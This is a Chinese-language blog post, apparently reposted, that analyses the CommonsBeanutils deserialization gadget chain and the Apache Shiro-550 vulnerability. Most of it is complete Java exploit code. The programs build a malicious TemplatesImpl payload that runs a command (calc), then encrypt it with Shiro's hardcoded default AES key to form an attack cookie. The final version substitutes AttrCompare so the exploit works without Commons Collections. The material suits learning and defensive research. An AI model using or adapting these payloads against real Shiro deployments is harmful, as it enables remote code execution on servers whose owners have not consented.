前言
Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带Commoncollections的,除此之外还带了一个包叫做CommonBeanUtils,主要利用类就在这个包里
环境搭建
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2- <dependency>
- <groupId>javax.servlet</groupId>
- <artifactId>jstl</artifactId>
- <version>1.2</version>
- <scope>runtime</scope>
- </dependency>
复制代码 之后tomat搭起来就行了,选择sample-web.war
CB链分析
先回顾一下CC4- * Gadget chain:
- * ObjectInputStream.readObject()
- * PriorityQueue.readObject()
- * PriorityQueue.heapify()
- * PriorityQueue.siftDown()
- * PriorityQueue.siftDownUsingComparator()
- * TransformingComparator.compare()
- * InvokerTransformer.transform()
- * Method.invoke()
- * TemplatesImpl.newTransformer()
- * TemplatesImpl.getTransletInstance()
- * Runtime.exec()
复制代码 CB链跟CC4的不同点就是从compare开始的,恰恰可以从CommonBeanUtils包里找到BeanComparator这个类

主要看PropertyUtils.getProperty这个方法可以任意类的get方法调用,可以调用任意bean(class)的一个get方法去获取nameproperty属性
写个demo测试一下- package org.example;
- import org.apache.commons.beanutils.PropertyUtils;
- import java.lang.reflect.InvocationTargetException;
- public class User {
- private String name;
- private int age;
- public User(String name, int age){
- this.name = name;
- this.age = age;
- }
- public String getName() {
- System.out.println("Hello, getname");
- return name;
- }
- public int getAge() {
- System.out.println("Hello, getage");
- return age;
- }
- public void setName(String name) {
- this.name = name;
- }
- public void setAge(int age) {
- this.age = age;
- }
- public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
- PropertyUtils.getProperty(new User("F12", 18), "name");
- PropertyUtils.getProperty(new User("F12", 18), "age");
- }
- }
- // 输出
- Hello, getname
- Hello, getage
复制代码 这样就可以利用TemplatesImpl中的getOutputProperties方法,这里面可以触发任意类的实例化,从而执行命令,注意这个类须继承AbstractTranslet类,或则改掉父类的默认值,假如忘了请回顾CC3
依靠:- <dependencies>
- <dependency>
- <groupId>commons-beanutils</groupId>
- <artifactId>commons-beanutils</artifactId>
- <version>1.8.3</version>
- </dependency>
- <dependency>
- <groupId>org.apache.shiro</groupId>
- <artifactId>shiro-core</artifactId>
- <version>1.2.4</version>
- </dependency>
- <dependency>
- <groupId>org.javassist</groupId>
- <artifactId>javassist</artifactId>
- <version>3.27.0-GA</version>
- </dependency>
- <dependency>
- <groupId>commons-collections</groupId>
- <artifactId>commons-collections</artifactId>
- <version>3.2.1</version>
- </dependency>
- <dependency>
- <groupId>commons-logging</groupId>
- <artifactId>commons-logging</artifactId>
- <version>1.1.1</version>
- </dependency>
- </dependencies>
复制代码- package org.example;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import javassist.*;
- import org.apache.commons.beanutils.BeanComparator;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.PriorityQueue;
- public class Test {
- public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
- Field field = obj.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj, value);
- }
- public static void serialize(Object obj) throws IOException {
- FileOutputStream fis = new FileOutputStream("cb.bin");
- ObjectOutputStream ois = new ObjectOutputStream(fis);
- ois.writeObject(obj);
- }
- public static void deserialize(String filename) throws IOException, ClassNotFoundException {
- FileInputStream fis = new FileInputStream(filename);
- ObjectInputStream ois = new ObjectInputStream(fis);
- ois.readObject();
- }
- public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
- ClassPool pool = ClassPool.getDefault();
- pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
- CtClass ct = pool.makeClass("Cat");
- String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
- ct.makeClassInitializer().insertBefore(cmd);
- String randomClassName = "Evil" + System.nanoTime();
- ct.setName(randomClassName);
- ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
- TemplatesImpl obj = new TemplatesImpl();
- setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
- setFieldValue(obj, "_name", "F12");
- setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
- final BeanComparator beanComparator = new BeanComparator();
- final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
- priorityQueue.add(1);
- priorityQueue.add(2);
- setFieldValue(beanComparator, "property", "outputProperties");
- setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
- serialize(priorityQueue);
- deserialize("cb.bin");
- }
- }
复制代码 追踪一下链的过程,在PriorityQueue的readObject打个断点,开追,进入heapify
进入siftDown

进入siftDownUsingComparator

进入compare,到达关键点,获取TemplatesImpl的outputProperites属性

调用TemplatesImpl.getOutputProperites

进入newTransformer

进入getTransletInstance,到达世界最高城defineTransletClasses

背面就不看了,就是defineClass,至此CB链结束,还挺简单的
Shiro550分析
环境上面已经搭建好了,这里不说了
Shiro550用的其实就是CB链,这里只是有一些细节须要注意,Shiro的触发点是Cookie处解码时会进行反序列化,他天生的反序列化字符串是进行AES对称加密的,因此要在对数据进行一次AES加密,反序列化漏洞的利用就建立在知晓key的情况下,而shiro最初时,key是直接硬编码写在源码里的,全局搜serialize

可以看到这个DEFAULT_CIPHER_KEY_BYTES,amazing
 - package org.example;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import javassist.*;
- import org.apache.commons.beanutils.BeanComparator;
- import org.apache.shiro.crypto.AesCipherService;
- import org.apache.shiro.util.ByteSource;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.nio.file.Files;
- import java.nio.file.Paths;
- import java.util.Base64;
- import java.util.PriorityQueue;
- public class Test {
- public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
- Field field = obj.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj, value);
- }
- public static void serialize(Object obj) throws IOException {
- FileOutputStream fis = new FileOutputStream("cb.bin");
- ObjectOutputStream ois = new ObjectOutputStream(fis);
- ois.writeObject(obj);
- }
- public static void deserialize(String filename) throws IOException, ClassNotFoundException {
- FileInputStream fis = new FileInputStream(filename);
- ObjectInputStream ois = new ObjectInputStream(fis);
- ois.readObject();
- }
- public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
- ClassPool pool = ClassPool.getDefault();
- pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
- CtClass ct = pool.makeClass("Cat");
- String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
- ct.makeClassInitializer().insertBefore(cmd);
- String randomClassName = "Evil" + System.nanoTime();
- ct.setName(randomClassName);
- ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
- TemplatesImpl obj = new TemplatesImpl();
- setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
- setFieldValue(obj, "_name", "F12");
- setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
- final BeanComparator beanComparator = new BeanComparator();
- final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
- priorityQueue.add(1);
- priorityQueue.add(2);
- setFieldValue(beanComparator, "property", "outputProperties");
- setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
- serialize(priorityQueue);
- byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
- AesCipherService aes = new AesCipherService();
- byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
- ByteSource encrypt = aes.encrypt(bytes, key);
- System.out.println(encrypt.toString());
- }
- }
复制代码 但是直接报错了,报的是cc中的ComparableComparator的那个错,固然shiro中内置了CommonCollection的一部门,但是并不是所有,而org.apache.commons.collections.comparators.ComparableComparator这个类就在CC包里面,且在shiro中没有,所以寄

无依靠Shiro550 Attack
关键点在于compare方法,假如不指定comparator的话,会默认为cc中的ComparableComparator
因此我们须要指定一个Comparator
- 实现java.util.Comparator接口
- 实现java.io.Serializable接口
- Java、shiro或commons-beanutils自带,且兼容性强
可以找到AttrCompare
 - package org.example;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
- import javassist.*;
- import org.apache.commons.beanutils.BeanComparator;
- import org.apache.commons.collections.map.CaseInsensitiveMap;
- import org.apache.shiro.crypto.AesCipherService;
- import org.apache.shiro.util.ByteSource;
- import sun.misc.ASCIICaseInsensitiveComparator;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.nio.file.Files;
- import java.nio.file.Paths;
- import java.util.Base64;
- import java.util.Comparator;
- import java.util.PriorityQueue;
- public class Test {
- public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
- Field field = obj.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj, value);
- }
- public static void serialize(Object obj) throws IOException {
- FileOutputStream fis = new FileOutputStream("cb.bin");
- ObjectOutputStream ois = new ObjectOutputStream(fis);
- ois.writeObject(obj);
- }
- public static void deserialize(String filename) throws IOException, ClassNotFoundException {
- FileInputStream fis = new FileInputStream(filename);
- ObjectInputStream ois = new ObjectInputStream(fis);
- ois.readObject();
- }
- public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
- ClassPool pool = ClassPool.getDefault();
- pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
- CtClass ct = pool.makeClass("Cat");
- String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
- ct.makeClassInitializer().insertBefore(cmd);
- String randomClassName = "Evil" + System.nanoTime();
- ct.setName(randomClassName);
- ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
- TemplatesImpl obj = new TemplatesImpl();
- setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
- setFieldValue(obj, "_name", "F12");
- setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
- final BeanComparator beanComparator = new BeanComparator();
- final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
- priorityQueue.add(1);
- priorityQueue.add(2);
- setFieldValue(beanComparator, "property", "outputProperties");
- setFieldValue(beanComparator, "comparator", new AttrCompare());
- setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
- serialize(priorityQueue);
- byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
- AesCipherService aes = new AesCipherService();
- byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
- ByteSource encrypt = aes.encrypt(bytes, key);
- System.out.println(encrypt.toString());
- }
- }
复制代码 成功Attack

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |